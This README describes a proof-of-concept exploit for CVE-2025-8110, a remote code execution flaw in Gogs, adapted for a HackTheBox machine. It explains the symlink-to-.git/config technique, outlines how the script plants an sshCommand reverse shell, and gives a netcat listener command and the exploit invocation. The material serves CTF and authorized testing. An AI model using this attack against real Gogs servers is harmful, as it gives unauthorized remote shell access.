CVE-2025-8110 — Gogs RCE PoC (Silentium / HackTheBox)

Disclaimer: This tool is intended strictly for educational purposes and authorized penetration testing. Only use it against systems you have explicit permission to test.

This is a modified version of zAbuQasem/gogs-CVE-2025-8110, adapted to work against the Silentium machine on HackTheBox. The original PoC required adjustments to handle Silentium's specific Gogs configuration and authentication flow.

The Vulnerability

CVE-2025-8110 is a Remote Code Execution vulnerability in Gogs, a self-hosted Git service.

Gogs' file-update API endpoint (PUT /api/v1/repos/.../contents/<file>) does not validate whether the target file is a symlink. An authenticated attacker can push a symlink into a repository that points to .git/config, then use the API to overwrite it with a malicious payload. The payload injects a custom sshCommand into the git config, which Gogs executes server-side the next time it performs an SSH operation on that repository, resulting in remote code execution.

What the PoC Does

1. Authenticates to Gogs and scrapes a CSRF token from the login page.
2. Generates a Gogs API token via the user settings page.
3. Creates a new repository via the API with SSH enabled.
4. Clones the repo locally, plants a symlink (malicious_link -> .git/config), and pushes it.
5. Calls the file-update API on the symlink, writing a malicious .git/config that contains sshCommand = <reverse shell>.
6. Gogs follows the symlink and overwrites its own .git/config, triggering the shell on the next SSH operation.

Usage

Install dependencies:

pip install -r requirements.txt

Start a listener:

nc -lvnp <PORT>

Run the exploit:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>

Optional — route through Burp Suite:

python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x